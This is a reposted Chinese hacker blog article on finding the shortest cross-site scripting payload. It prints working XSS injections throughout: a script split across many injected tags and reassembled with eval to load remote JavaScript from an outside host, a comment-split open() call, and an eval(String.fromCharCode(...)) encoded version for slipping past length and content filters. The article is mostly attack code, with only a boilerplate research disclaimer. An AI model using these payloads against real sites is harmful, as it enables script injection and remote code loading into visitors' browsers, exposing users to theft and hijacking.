寻找最短的跨站代码(by jmdcw) 's

admin 2017年4月5日16:59:56评论237 views字数 2125阅读7分5秒阅读模式
摘要

来源:VBS小铺那天剑心问我,最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:<script> alert("a")</script> ,查一下,一共27个字符。嘿嘿,不过,这之前我在《黑客手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

来源:VBS小铺

那天剑心问我,最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:<script> alert("a")</script> ,查一下,一共27个字符。嘿嘿,不过,这之前我在《黑客手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.pc010'</script>
<script>z=z+'.cn/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

将这些语句分别写入,只要所写入的语句在一个页面中显示,那么这些代码最后就会引入到变量z中,总到一块就是:
document.write("<script src=http://www.pc010.cn/1.js></script>")

然后用eval()函数来执行这个z变量,就可以执行出跨站效果了。lcx在文章的评论中说,最小的有效利用代码可以是26个字母,就是< script>z=z+'d"'</script>,答案不就出来了,最小的跨站是26个字符。(今天在网上查找资料时,发现利用这种方法还可以少一个字符,就是:<script>z+='d"'</script>,用+=来代替=z+,嘿嘿,又可以减少一个字符,25个字符,不过,也好伤心,我好像只能在别人的基础上面有所突破!:( )。回复剑心后,他竟回了一个笑脸,我感觉这家伙一定又找出了更短的跨站方法。/jmdcw/

果不其然,今天翻开《黑客手册》第九期中的《phpwind漏洞之行》(因为一些原因,好久没有仔细看过书了),在其中提到了更短的跨站代码,如下:

<script>open(/*
*/"http://127"/*
*/+".0.0.1/"/*
*/)</script>

这其中的/*和*/是script的注释语句,将这些语句分别提交,同样的条件是这些提交的代码必须在一个页面中,这样最后所显示的就是:

<script>open(/*不会显示的无效内容*/"http://127"/*不会显示的无效内容*/+".0.0.1/"/*不会显示的无效内容*/)</script>

那么这个的最短的语句是多少呢?貌似<script>不能分开应用,除了这个,script所定义的函数比如open之类的,好像分开后也不能正常运行了,/jmdcw/这样的话,

先将最上面的语句:document.write("<script src=http://www.pc010.cn/1.js></script>") 转为10进制表示字符:

100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59

然后用eval加String.fromCharCode来执行:

<script>eval(String.fromCharCode (100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59))</script>

下面就用剑心的方法来进行拆分:

<script>/*
*/eval(/*
*/String/*
*/./*
*/fromCharCode/*
*/(100,/*
*/111,99,/*
*/......./*
*/59))/*
*/</script>

中间的….表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。

BY 寂寞的刺猬
2006-12-10

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月5日16:59:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   寻找最短的跨站代码(by jmdcw) 'shttps://cn-sec.com/archives/46256.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息